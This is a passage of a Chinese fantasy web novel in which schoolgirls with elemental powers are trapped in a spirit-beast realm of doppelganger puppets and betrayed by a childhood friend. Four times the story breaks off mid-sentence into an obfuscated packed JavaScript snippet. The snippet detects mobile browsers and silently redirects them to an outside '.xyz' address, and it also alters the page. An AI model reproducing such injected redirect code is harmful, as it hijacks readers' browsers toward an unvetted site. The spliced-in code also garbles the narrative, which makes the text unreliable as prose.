木英动了动嘴角,实在没忍住:“不是钱的事……” 徐宁有点不耐烦:“磨磨唧唧的,有事你就说,烦学习我给你找家教还不行吗?” 木英一顿:“我不是这个意思。” 延光立刻插话:“这种细节我们回去再讨论,大庭广众下就不谈这些了。” 徐宁翻了个白眼,正要说话,迎面走来几个学生,嘴角一撇,不说话了。 进了教学楼,找到班级时,班里已经排了不少人,书本按次序垒好,每人路过拿一本,每个书堆都有登记看管的学生。 延光带头规规矩矩排好,领了一半,木英突然对着登记的女孩叫起来:“你……小云姐姐?” 三人都扭头去看,只见那女孩一头短发,体态纤瘦,虽然面色苍白,却很是亲切温柔的模样,听见声音后记名的手一顿,神情茫然地抬头,又转为惊喜:“哎呀,小木头。” 这显然是熟人,木英难得地眉开眼笑,紧张又欣喜:“我、我好久没见你了,听我妈说,叔叔……” 小云温柔地打断她:“后面还有同学领书呢,先走吧,我们是一个班的,有机会再聊。” 木英呆呆愣愣的,急忙点头,扭身就要走,撞了下前面的寒洲才想起来没拿书,赶紧抽出一本,看向登记表,小云就笑:“我知道你的名字呀,快去吧。” 木英连连点头,心神不宁地走了。 徐宁轻嗤一声:“还真就是个木头。” 延光无奈地拍她一下。 快少说两句吧。 领完书,见木英一步三回头,延光主动说:“那个同学是你以前的好朋友吧?不然你就在这等她,需要我陪你吗?” 木英连连点头,又摇头,“她和我是一个院子的好朋友,小时候只有她肯陪我玩。我在这等等吧,你们先回去。” 徐宁眉头皱了下:“你又要搞什么,一个院子的什么时候不能见,午饭还没吃呢。” 木英急忙解释:“不是、因为她家里好像出事休学了,我一年没见她了。” 延光打圆场:“我们先去吃饭,待会我陪你回来找她。” 木英实在不想多争执了,于是点头。正要一起下楼,突然听见有人惊呼起来,教室里传来噼里啪啦的声响,男生震天的嘶吼精准传到众人耳朵里:“谢望云!我*你*的!别以为你死了全家……” 因为有人拉架,声音听不清了,但木英还是脸色巨变,想也不想快步走向教室。 剩下的三人面面相觑,犹豫片刻,也跟了上去。 教室门口,几个人合力拦着一条发怒的疯狗,谢望云惨白着脸站在人群中心一言不发,抬眼看见木英,眼神一动,顿时盈满了泪水。 “小云姐姐!”木英不管不顾地挤进人群里,抬头瞪向仍在发疯的男生,身体里的力量蠢蠢欲动,又想起周围很多普通人,咬牙克制住了。 谢望云朝她摇头,见她的室友都挤了进来,就开口:“你不用管我,去找她们……” 似乎是疯狗挣断了绳,一声爆喝伴着黑影冲过来,木英本能转身抱住谢望云,而那黑影也没能过来。 颤颤巍巍抬头看,只见徐宁眼疾手快抓住了疯狗的手腕,顺势一拧,一脚踹过去,沉闷的“噗通”一声,人高马大的男生直接就跪下了。 徐宁轻嗤一声,低声自言自语:“还以为多厉害呢,垃圾。” 老师最后还是来了。 李青面色青黑,站在她们几人面前,恨声道:“你们几个,怎么又……还有你!学校不许烫发、化妆,你这手上戴的是什么?学校是让你来炫富的吗?” 徐宁抿着嘴,将袖子往下捋了捋。打架打痛快了,一时激动就习惯性撸袖子,忘了御灵手环还在身上了。 李青想起这一宿舍精彩的履历,头疼之余又胆战心惊,叹了口气:“算了……我给你家长打电话,有什么诉求一次说清楚吧。” 木英的脸色瞬间惨白,“老师,我们……” 徐宁猛抬头:“又不是我们挑事!” 延光皱了下眉,伸手挡了挡徐宁,又拽拽木英,软声道:“老师,不是我们故意打人的,是那个男生先骂了女生,骂的很难听,我们气不过才和她争论的。” 李青按了按眉心,叹气:“但是不管谁对谁错,都不能打架。” 她说着,准备去拿学生花名册,延光沉默片刻,道:“老师,打架是我先挑起来的,或许您可以先罚我?” 班主任顿了一下,望着她眉头紧皱,沉吟了会才说:“算了,你们在这等我。” 她匆匆离开,木英才像劫后余生一般,眼泪滴答滴答往下落:“怎么办……怎么办,不能叫家长……” 徐宁看她一眼,表情古怪:“这么怕吗……算了算了,到时候我让老师先给我妈打电话吧。” 她说着,又一脸好奇地看向延光:“你背景这么大吗?怎么老师一听你要负责,就不叫家长了?” 她都没这种待遇呢! 延光耸耸肩:“我家里早没人了,孤儿。” “……” 空气顿时寂静了。 徐宁目瞪口呆,一副恨不得缝上自己嘴的悔恨表情;寒洲眼神复杂,轻轻扫她一眼;木英哭得嗝一声,硬是把眼泪憋回去了。 延光哭笑不得:“我就知道是这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427634|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事,真的,都多少年了。但是老师想找监护人,那是没有的,不想叫家长的话,待会你们就说是我拉你们上去的,你们没敢动手,知道不?” 徐宁翻了个白眼:“不用,我一人做事一人当,真以为我怕他们?” “行!”延光应得干脆:“那就咱俩当,想办法给她俩摘出去。” 寒洲冷冷道:“本来就和我没关系。” 徐宁眼神一厉,瞥她一眼,想想这也是事实,就没有发作。 没多久,李青又回来了,还带着一个中年男人,和两个当事人。 中年男人面无表情地一指男生,道:“给谢望云道歉,家长就不叫了,你,你,你们俩都写八百字检讨交到我办公室。” 他指了男生,又指了徐宁,这俩是打架的主谋:“学校是让你们来学习的,不是打骂同学的,知道吗?再有下次,我叫你们家长来陪你们上课。” 大多数学生,但凡不是觉得这个学历已经无用了,都对老师都有一股天然的敬畏,男生不情不愿地低头,对着谢望云道了歉,徐宁呲着牙皮笑肉不笑地应了是。 李青身心俱疲地挥挥手,让她们走了。 一出门男生就头也不回地走了,徐宁冲着他的背影竖了个中指,延光赶紧拉下她的手。 谢望云悄无声息地来到她们身边,眼神掠过徐宁手腕间金闪闪的手环,轻声道:“今天谢谢你们帮我出头了。” “没事。”徐宁出头还真不是为她,就说:“这种说话下三滥的玩意,给他剁了也活该。什么东西。” 谢望云笑了笑,道:“以后也不会那么容易遇到了,他住宿,我走读,他也堵不到我。” 木英道:“对了,我还没问,你说你跟我一个班,但你不是比我高一年级吗?” 谢望云抿唇,不好意思地低头笑笑:“我家里去年出了点事,我休学了半年,我现在和你们一个班。” “啊,”延光恍然大悟,大概猜到了一些,没多说,“那就好,没事,遇到什么事就找老师。” 谢望云点头,忽然道:“介意加个联系方式吗?” 延光下意识掏出手机:“哦,行……” 谢望云拿出一根笔和一个小本子,沉默:“……我没带手机。” 延光突然想起这是办公室门口,呲溜一下把手机收回去,面不改色:“你什么都没看见,来,我给你写。” 她唰唰唰写上自己的微信号,还特别标明了可以在班群的哪个名字上找到自己,谢望云似乎也只想拿她一个人的联系方式,收了纸笔就飘然离去。 今天这一天,她们又是逃亡又是打架的又要应付人情,早就身心俱疲,像丧尸一样抱着书往宿舍爬,一进门就倒在椅子上,累得不想说话。 坐了一会,四人上床躺尸半个小时,瘫在各自的床上,有气无力地聊天。 徐宁:“木英,你刚才是不是想抽那人?冷静啊,可不敢给咱们暴露了。” 木英歪了歪头,有气无力地闭上眼:“嗯,我冲动了,以后都会小心的。” 徐宁就坡下驴:“你这话说的,客气。” 延光加入群聊:“我们抽空也确实应该锻炼一下/体质,要东奔西跑,还得跟灵兽对抗,体质必须得好。徐宁就很厉害。” 徐宁笑了,骄傲道:“那是,我可是练过的,小时候上学无聊,我妈给我开了个马场,射击骑马击剑我都……” 忽然,始终一言不发的寒洲猛地惊坐起。 “磁场能量在逐步上升!” 8. 谍中碟 好容易沉寂下来的寝室再次沸腾,众人齐刷刷坐了起来,七嘴八舌地问: “什么磁场?能确认属性吗?” “我靠,我还没吃午饭!” “……能,能不去吗?” 声音虽然微弱,但有效地让大家都安静了一瞬。 良久,寒洲道:“说实话,我并不想拯救世界,我承担不起这样的责任,我很惜命,我想活到一百岁……” 但是,正因为惜命,才不得不阻止这一切。 命运落在每个人身上时,从来不会问对方能不能接受。 微微叹了口气,寒洲冷静地开始报情况:“属性是水,磁场能量正在从34%走向57%,正在不断攀升,超过80%,可能会卷进普通人。” 徐宁倒吸一口凉气。 虽然不知道校园里有学生莫名失踪会造成多大影响,但正常的普通人进去基本就必死无疑了! 事已至此,最好的解决办法就是,撞上去! 意识到这一点后,四人认命地穿衣下床。 此时虽然是下午,校园里的人一点也没少,四人一边疾跑,一边祈祷不要有倒霉鬼撞上去,来到所标记的磁场前时,本还在放松地想没有同学闯进去,拐过弯,就见一个女孩正坐在树下抱着小腿发呆。 见到对方,木英神情一变,“小云姐姐——!” 延光赶紧拦她:“别喊!” 但已经来不及了。谢望云的身子颤了下,迷茫地抬头,见到是她们,顿时眉目舒展,微微流露出笑意,站起身快步往前走:“哎呀,小木头,你们怎么来这了……” 木英反应过来:“等等,别动,别过来!” 伴着一声尖叫,谢望云直直闯入了看不见的磁场入口,身影瞬间消失。 “……”哦不。 延光下意识闭上眼,最怕的还是发生了。 木英没有犹豫,两三步冲进去,徐宁快步跟上,延光随后,寒洲在最后看了看周围,确认没有人看见,才抬脚走进去。 晕。 晕得就像被扔进了洗衣机,左三圈右三圈,中间还停一停,转完开始脱水,嗡—— 徐宁感觉自己就像被呕出来的呕吐物,大汗淋漓地被扔到了地上,她头晕眼花地趴在地上发懵,视野还是花的,不太适应地想站起身往前走,刚站起来一些,视力也恢复了点,只见眼前几步根本就是悬崖,她再跨出一步就要径直掉下去了! 徐宁身上顿时又出了一层的冷汗,她僵住身子,缓缓扭头往后看了一眼,确定不是坑,才小心翼翼地一步、一步后退,退到最后,石壁贴住后背,她赶紧用力,恨不得把每个毛孔都贴上去。 生存危机解除,她才有功夫想别的。 这是哪儿……!? 其他人呢!? 与此同时,延光也有同样的疑问。 她醒来后将周围全部看过了,是一个螺旋状的山,非要说的话,有点像螺丝钉。 得出这个结论的原因,主要是延光现在在山顶。 她往下望去,浓浓的白雾遮蔽视线,看起来简直像进入了仙境,隐约能看见越往下越窄的“山环”。但过往的经验告诉她,这座“山”不会特别高。 延光在地上画出一个圆,斜对的位置有一黑一白两个祭台,她咬着嘴唇心想,这个山顶倒是有点像阴阳八卦,她踩上一个,另一个也会跟着动。 什么意思? 正深思着,延光的视野里出现一双熟悉的鞋。她本能抬头,只见和自己一模一样的脸就这么毫无预兆地映入眼帘! “……!” 这实在太过匪夷所思,延光连连起身后退,满心防备,而面前的“自己”却笑意盈盈,一脸无所谓的姿态。 “你是谁?”延光心里一瞬间闪过无数个念头,她没有犹豫,果断问:“是敌人?” “延光”垂眸莞尔,也开口:“你是谁?是敌人吗?” 延光一愣,顿时愈加警惕,不动声色将手背到身后,拿出徐宁塞给她的金色小短剑,“这就要问你了。” 提剑,跨步,刺出! “锵——” 寒光一闪,锋利的剑身碰撞在一起,簌簌落下落雪般的冰沙,很快融化在空气里。 面前的女孩抖了抖冰剑,抬眸:“二话不说就出剑,你要杀我?” 寒洲厉喝道:“你还装!这不是你的磁场吗!还伪装成……我的样子,找死!” 女孩嘴角勾起笑容:“不是哦,我就是你。” 寒洲连连冷笑,只认为自己被牲畜戏耍了,愈发凌厉:“找死!” 哪知冒牌货也好意思冷下神色,学着她的动作神情,重复一遍:“找死!” 寒洲微微愣了一下,随即更加暴怒。 猛地扑上前,握着剑往下刺,扎了个空,徐宁嘿一声:“躲什么躲,敢冒充你姑奶奶,看我今天不给你捅成马蜂窝!” 碎冰、金光、刀剑乱飞,偶尔会穿过厚重的雾露出一角,延光只凭听,就知道同伴们也遇到了另一个自己,并且打起来了。 不对…… 延光心中隐隐不安,在她轻而易举就击败“自己”将其按住时,心中忽然升起一股暴戾厌恶的冲动,她想杀死眼前的“自己”,让这个冒牌货永远不能…… 不对! 按照常见情况,不应该是仿品与正主极其相似,甚至强于正主,无论如何也斗不过,千难万苦才能胜过对方吗? 何况延光无比了解自己,她根本不可能对什么生出杀意,迷茫间,她抬头,瞥见黑与白两个凸起的圆形祭台,在这个角度竟然是连成一线重叠在一起的,晃眼一看,还以为是一个。 底下的动静似乎也小了很多,延光猛地放开对方,转身跑到山顶边,朝下大声喊:“别杀她们!寒洲、徐宁、木英,不要另一个杀掉另一个自己!” 回音传了很远,仿佛连这座“山”都震了震,下面隐隐约约传来声音: “延光!”这是徐宁,她急道:“……什么意思?” 寒洲隔了一会才说:“没杀,但为什么?” 延光却顾不得回复,眉头紧锁,等了好一会,越等越急。 木英怎么没有回应? “木英,你听到了吗?木英!” 身后传来动静,延光身体先于意识警觉起来,立刻就地一滚,那个“自己”扑了上来,她一把拽住对方的脚腕,身体重重一坠,半个身子都被拖了出去。 “我去……也小心她们自杀!” 诡异的东西一心求死,不急着杀她们,等不到却要自杀,这显然不正常。寒洲也不问了,将对方手脚都牢牢冻住粘在石壁上,眉头紧锁。 她们离得很近,三个人喊一声彼此都能听见,那么……木英呢? 还有闯进来的谢望云呢? 她们所处的地方,是个什么结构? 一个接一个的疑问冒了出来,寒洲抬头,刚才的声音似乎都是从上面传来的。 再看看环形山路一般的地方,一览无余,除此之外的地方都是浓郁,看不清也得不到什么信息,寒洲抿唇,回头将冰加固,走近石壁,试图攀上去。 寒风似乎更刺人了些,寒洲将自己牢牢粘在石壁上,迅速向前进,爬上第一层山环,看见的是…… 木英! 寒洲微微愕然,立刻翻身上来,木英双手抱着小腿,紧紧靠着石壁瑟瑟发抖,身边躺着一个浑身失血的女孩。 心里咯噔一下,她赶紧跑上前,拉过来一看,是木英的脸。 她不可置信地扭头:“你动作这么快?” 怎么可能?木英杀性有这么重吗? 木英猛地摇头,红着眼睛瑟缩道:“她要杀我,她差点就掐死我了,然后、然后刚才听见延光的声音,突然就冒出几根藤蔓,把她扎穿了……” 她微微仰头,露出脖颈上鲜红的指印。 凶狠归凶狠,寒洲其实也不太敢看尸体,还是熟人的尸体。闻言皱眉又瞥了一眼,确实是几个细细的血洞。 她顿时思绪混乱,这是自杀?还是木英到了绝境被逼出来的?想不明白也不太敢想,寒洲安慰道:“我先上去和她们集合,别怕,我们大家聚在一起再商量。” 她说着走上前,打算再往上爬。 木英忽然低低道:“寒洲,你说,刚才说话的,就是真的延光吗?” 寒洲身子一僵,攀着石壁低头看她,犹豫片刻,才说:“她很关心你。” 目前的“自己”,似乎并不是很符合本人的性格,假的延光能做到这么细节吗? 但也说不准,一切都要小心为上。 这样想着,寒洲温和道:“别担心,我看情况决定。” 再往上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427635|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层,寒洲只看到了一个被打晕后用铁环绑起来的徐宁,摇了两下没摇醒,她抿了抿唇,接着往上爬。 再往上爬,能看见清晰的刻痕,应该是利器扎进去的痕迹。到了顶端的边缘处,寒洲看见一道明显的血痕,心中一紧,喘着气恢复了些体力,才一鼓作气扒住边缘翻了上去。 坐在地上喘着粗气,冰剑已经握在手中,寒洲抬头,和站在两个圆台上的延光徐宁大眼瞪小眼。 “……” 两个室友都很狼狈,但木英的话和晕过去的徐宁已经将她的警戒心拉到最高,寒洲一个鲤鱼打挺站起来,拎起剑做防御状。 “你这是做什么?”徐宁奇道:“脑子被揍傻了?” 寒洲一愣,嗯,嘴这么欠,很熟悉的风味:“……晕过去的那个你,是假的?” 徐宁恍然:“哦哦,差点忘了,那菜狗压根就是纸老虎,一扇就晕了。” “……”寒洲犹豫不决,不知道该不该信,她看向另一个延光,“你为什么不让我们杀……假货。” 延光跳下来,面色凝重道:“不是假货,确实是另一个自己。如果我没猜错,我们要是动手,很可能就出不去了。” 她指着圆盘中间的线,问道:“你还记得你醒来后在哪个位置吗?那个假货是哪个位置?” 寒洲犹豫着指了一边,延光摸着下巴道:“喔,我们还是不一样的。我和徐宁都是另一边,刚才我已经试过了,和那个假的分别站在我们出现的方位,会融合为一体。所以,她确实是‘另一个自己’。” 寒洲没说话。她说的假话,指了“自己”出现的位置,这样看来,这两个室友又不太像假的。 “你刚才说防止另一个自己自杀,为什么?”寒洲想了想,又问:“发生了什么吗?” 延光给她看手臂另一侧被磨出的血痕,“我让你们停手,那个她就直接往下跳,我给拉住了,差点一起窜下去。还好徐宁听到动静,过来帮忙把她敲晕了。” 寒洲:“你怎么知道她往下跳是自杀?” 延光一愣,眉头皱起来。 徐宁皱着眉道:“这地方跳下去不死也得残吧,而且还是头朝下,你以为跳水呢?” 寒洲沉默下来。 延光转移话题道:“你看见木英了吗?” 寒洲顿了顿:“没有。” 延光边走边道:“那我们先下去,把你俩也先融合了。” 寒洲转身跟着却不依不饶:“你怎么知道融合的就没有问题?” 延光倒退着蹲下来,愣了下,寒洲能看清她从疑惑到思考的表情,“这个嘛,因为我开始猜测的是阴阳八卦,就跟徐宁验证了一下,她不仅知道只有我自己知道的事,还能反过来挑拨我们俩,我猜她应该是有智慧的,不是单纯的复制粘贴。能和我相融,就更确定了。” 寒洲皱眉:“你真是什么都敢往身体里弄。” 延光倒是无所谓,笑了笑,接过徐宁递过来的铁制工具:“这有什么,有问题再去解决呗,总比傻站着不敢做强。” 寒洲:“盲目乐观。” 徐宁忍无可忍,将手搓出来的道具往地上一扔:“你有完没完了?你看你那芝麻大点的胆子,你不敢做别人敢做,怎么了,破防了?” 延光立刻调解:“有疑惑是正常的,说出来就好了。寒洲,我知道你担心什么,但就算前面可能有坑,我们闯过去,或者绕过去,有问题就去解决,再怎么样也比站着不动强,是吧?” 寒洲深吸口气,缓缓点头。 三人整理好装备,徐宁说:“先去把我的那个带回来,再去找你的,有意见没?” 寒洲点头,心想迟早的事,就说:“木英在我的上一层,要不要先去和她集合,她对你们有点误会……” 延光脸色微变:“木英?你见到木英了?什么误会?” 寒洲一顿,隐隐也反应过来什么:“她问我,那个让我们不要动手的你,真的是你吗?” ……但木英从头到尾,没有确认地说过,延光一定是假的。 延光眉头一皱,急问:“她是不是已经动手了?不对,或者说,动手的那个,到底是不是真正的木英!” 木英有这么狠绝吗? 本就有的疑惑再次翻上来,寒洲脸色微变,话也不多说,加快速度往下爬去。 糟糕了! 9. 对称 寒洲几乎是一路滑下来的。 顾不得刺痛的手和腿脚,她抬头,见“徐宁”身上已经贯穿两根石柱,顿时面色剧变。 “……果然。” 延光和徐宁很快落下来,见状立刻扭头,在徐宁身上摸来摸去:“有没有哪里不舒服?现在怎么样?” 徐宁倒是一脸懵:“没有啊,感觉好的很。” 延光眉头微皱:她猜测这些和她们一模一样的“人”是另一个自己,可能是她们被分出来的另一半,且她融合时确实感觉到有什么充入了身体……可如果不是另一半,死了也毫无知觉,那多出来的那份感觉,是什么呢? 三人对视一眼,不再多留,接着往下,然而只见下一层干干净净,别说寒洲描述的血,就是连个脚印都没有。 “……不可能!木英不在这吗?”寒洲彻底懵了,除此之外还有着说不出来的惊慌迷茫。她的说辞得不到证实,却已经造成了不好的后果。 “你老眼昏花了吧?还是……你其实是对家派来的?”徐宁挑眉质问。 寒洲眉头一皱,含怒道:“胡说八道!不会说话就闭嘴。” 徐宁冷笑:“就许你怀疑我们,不许我们揣测一下你了?” 寒洲一下哑然。 事发突然且诡异,延光也没心情调和她们的矛盾,抬手打住说:“先去看看寒洲的。” 结果是一样的。谁能想到给这些本就古怪的家伙做什么防护呢? 再往下看,浓郁愈发厚重,像雪白的棉花,将视野盖得严严实实,探查不到底下藏的是什么,一种令人心慌的虚无。 徐宁咬咬牙,小心翼翼地伸出一把金属长杆,伸手不断往下探。金属杆越探越长,再拉回来,没入白色的那一节已经完全消失,切面呈一种自然的波浪状,就像没入水中后留下的印子。 只是“沾湿”的部分就这么消失了。 “……” 半晌,徐宁声音微微发颤:“那木英是不是……” 延光让她别多想:“只要我们活着,就去找。” 她站起来原地踱步,心想,不是阴阳八卦,那能是什么? 一边想着,一边低头看向御灵手环,沉吟道:“灵兽才进化十多年,再多心眼,也不一定能搞出这么拐弯抹角害人的招……” 说着,她灵光一闪:“摘掉御灵手环试试!” 寒洲一言不发地摘掉,徐宁捏着手腕,有些迟疑:“真的要摘吗,为什么?” 延光解释道:“是我的一种猜测,如果目的是杀我们,早就可以动手了,不会拐弯抹角,或者现在还不到时候。我记得掠风说过,必要时可以……换人,而土元素战士已经确认叛变,说不定,现在在背后对付我们的就是她。我们想替换掉土元素战士,她未必不想夺走我们的力量。” 真正能威胁到她们的力量,根本没有必要绕弯子,除非目的不在于此。 延光说着也开始将手环往下捋:“先试试,这个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427636|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对再找别的可能……” 手环只是一种辅助,她们身体里的力量本就已经被激发,摘下来也不会对自己有什么影响。三人屏息等待片刻,忽而一阵风起,浓雾竟然渐渐散了。 “不会吧,”徐宁诧异,“这是什么安检机吗,戴上手环就不让看?” “不对。”延光立刻反驳,她的望远视力很好,能清晰地看到,远处站着一个淡淡的人形影子。等迷雾完全散去,却什么也没看见,她抿了抿唇:“我看到有人了。” “什么呀。”徐宁皱着眉头扭头看她,嚷嚷道:“你一次说清楚啊,谜语人是会挨喷的!” “小心!”直觉感受到危险,延光本能后退,但诡谲多变的藤条却不知从哪里爬出,疾速上前一勾,三条摘下来的手环就被灵活地勾住扯下,完全来不及反应。 刚一摘下手环迷雾就散去,当然是因为……人为操控。 三人极度愕然之下迅速靠拢,低头,就与一双盈满眼泪的眼睛对视了。 木英! 竟然是木英!? 散去迷雾后,脚下的一切也完全展露,就在一米左右的地方,密密麻麻,全是串起来的一模一样的、对称的生物。而再往下,竟然又是一层又一层的环状平台,从她们脚下起始,越来越大,宽度大小与山顶相同,她们就像来到了一个倒扣的斯山顶。 整座山的面貌,看上去就像是……一个巨大的沙漏。 是另一座完全对称的“山”。 10. 水淹 这里根本就不是什么正常存在的环境,显然是人为制造。意识到这一点,徐宁脸上瞬间显出怒意,质问道:“木英,你怎么回事!?你要反水吗?” 木英边落泪边摇头,哭得上气不接下气:“不是我,不是我,我没有……但我没想到,我没想到……” 徐宁被哭得又烦又心急,忍不住怒道:“够了你这个没用的东西!你想办法解决啊!” 她说着就要撑着台面跳下去,只见木英身后忽然徐徐走出一个人影,抬起手打个响指,一根尖锐的石柱就穿过地面刺了出来,扎在徐宁面前。 “别动,”女孩唇角微勾,笑盈盈的眼里满是新奇和疯狂的恶意:“一不小心被扎穿了,可是很疼的哦。” 她捂着嘴低低笑起来:“当然,也可能扎穿你那没有的脑花,拿来给我的宝贝烤了吃。你有这玩意吗?” 徐宁一愣,顿时气得升天。她定睛细看面前的人,冒着烟怒吼:“我靠,木英,你果然跟她是一伙的!” 这个女孩根本就是刚才“误入”的谢望云,亏她们还满心的担心,想要来救人,结果根本就是小丑! “嘘,嘘,”谢望云微微蹙眉,手指抵唇,一把小刀抵在木英脖颈间:“小心,别惊动了它们呦。” 它们? 什么它们? 三人齐刷刷低头,惊恐地发现那一串一串的、死去的生物正睁着空洞的眼睛,伸出前爪不断往上爬,盯着她们的神情贪婪又渴望。 危机就在眼前,也没空再想到底怎么回事、哪里被算计了,徐宁第一时间就想跑,扭头一看后面是山壁;寒洲召出冰剑,延光则一拍地面升起一道小型火墙。 没有御灵手环加持引导,她们的力量显然都有些失去章法,尤其是容易失控的火,延光几次都差点被烧掉眉毛。 这些一串串一模一样的动物犹如丧尸,又因为大小不一,比丧尸还麻烦。小体型灵活诡谲、大体型难以攻克,不出多时,三人就几乎被淹没了。 木英浑身颤抖,她的身体还没有完全恢复力气,只有嘴唇还能动,沙哑怨恨的声音一个字一个字挤出来:“谢望云,你是早被灵兽害了吗?” 谢望云正欣赏好戏,闻言饶有兴致地哼了一声:“怎么,比起杀人,你更希望我被杀吗?” “不,”木英咬牙:“我更希望谢望云早就被那些畜生替换了!也好过她自己成了畜生!” “哈,”谢望云尖锐地笑出了声:“好高尚,好品德,值得一死,那你就去死吧。” 木英被猛地推向前,险些一头栽进血腥的兽潮中。 ……她的力量几乎全部被夺走了。 木英抬头看向上方汹涌的兽群。 有些植物在自身能量不够,或者生存环境恶劣时,就会选择留存种子,或是推出不重要甚至带毒的那部分诱惑敌人。 木属性力量也有类似能力——那些和三人一模一样的“假人”,是用木元素伪造的傀儡。杀掉傀儡,她们会被“标记”,成为这里的兽群最渴望的猎物。不杀……使用山顶上的假祭台融合,就会被寄生,如同种子一样,吸收力量等待破土时机,直到最后完全夺舍。横竖都没活路。 这是木英自己都没有发掘出的能力,从她的力量被夺走开始,三人就被引入了圈套,谢望云甚至能伪装成她的模样。 心中渐渐升起难言的绝望,木英艰难地扭头,看向谢望云。她没有在意自己。兴奋地盯着兽潮像在欣赏一场表演。 “……”木英深吸口气,感受着身体里所剩不多的力量。当时的她对谢望云毫无防备,这才被一击打晕,也因此,谢望云对她有些轻蔑,嘲笑她真是一点也没变。 可谁能和过去一样,毫无变化呢?尤其是经历过生死。这话对朋友来说,是怀念,对敌人来说,就是轻敌。 木英深吸口气,发现自己的手都在抖。她的手脚没有被完全束缚住,曾经让她难堪的轻视反而成了出路。 她强迫自己什么都不要想,什么都不要想…… 待谢望云反应过来时,她已经被木英扑倒掐住脖子了。木英紧闭着眼,用力掐住她,拼尽全力调动微薄的力量。 勾住手环的藤条微弱地晃了晃,颤抖片刻,顺着木英的心意,穿过兽群,缓慢而坚定地向着三人的方向去了。 手下微微传来震动,竟然是谢望云在笑,木英哆嗦了下,手指一松,又很快醒神,再次掐住她。 “你……你安分点!不然,不然我现在就掐死你。” 谢望云躺在她身下,黑黝黝的眸子一动不动,像泡在水里,黑得透亮,又仿佛带着一股柔弱的泪意。但她在笑,脸颊因为窒息渐渐漫上潮红,她笑得更痛快了,断断续续地问道:“为什么你在期待敌人听你的话,安分起来呢?掐死我啊,好孩子,掐死我,你和你的朋友都安全了。” 木英猛地一颤。她凭着一股恨意和勇气爆发,但要是真的杀人,她又不敢,手指在温热的皮肤里越陷越深,身体也越来越软。 这可是活人……这可是真的人……是小时候会带她爬树,陪她玩捉迷藏,给她偷偷递零食的人…… “嘀嗒” 温热的液体落在谢望云脸上,顺着眼角流下去了。她嘴边的笑意僵了僵,良久,才低低地笑了起来:“你好没用啊,蠢货。” 一根石刺豁然钻出地面,刁钻地穿过空隙直扎过来,木英本能松手后仰,翻身一滚,就被起身的谢望云揪住了领子。 谢望云拍了拍她的后脑:“我给你的机会,你又浪费掉了。” 木英咬牙一声不吭,她已经看见藤条钻进了兽群空隙里,一道红光最先亮起,是延光。她松了口气,漫无边际地想,只要自己的错误没有拖累别人,就很好了。 火焰最先爆发开来,掀飞了一群群的傀儡灵兽,延光甩了甩咬在身上的小灵兽,嘶了声,这就是蚂蚁咬死大象的现实版了,这场兽潮里的每个灵兽平均实力不算太强,但这种体型过小的灵兽,防住这个挡不住那个,一不注意就是满头开花。 她一放开就立刻去支援队友,徐宁和寒洲依次从兽潮中挣脱出来,再看谢望云,对方似乎没有任何插手或阻止的意思,好整以暇地掐着木英欣赏三人的狼狈。 徐宁皱起眉头,以为她是想用木英威胁:“放开,没品的东西,木英怎么也是你以前的朋友,你用她威胁我们,真是不要脸。’” 谢望云笑得更愉悦了,将木英轻轻往前一推:“去吧,回到这些……正义的傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427637|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子身边吧。” 徐宁顿时火冒三丈。御灵手环到手,就像失控乱喷的水管装上了龙头,使用起来有章法多了,三人联手,这些空有本能却没什么智商和力量的灵兽自然轻松压制,谢望云的算计显然是不可能成了,嚣张什么? 她冷笑道:“正义不正义的,轮不到别人评价。我们是为了活,我看你才是想死。” 谢望云只笑不语。 她这笑得多少有些渗人,三人面面相觑,又见木英踉跄着被推到前面,就算不致命被咬一口也够麻烦的,延光直接翻身一跳,从台子上跳了下去。 她伸手拉住木英,“没事吧?” 木英小声回复:“就是有点累,没力气了。你怎么样?你吸收了那个傀儡,就是被我寄生了,但我的手环不在这里,我不能确认你的情况,也没办法收回来……” 延光一怔。寄生?怪不得她总觉得体力比平时耗得快一些,还以为使用这些力量确实会比平时长跑锻炼费力一些,竟然是被寄生…… 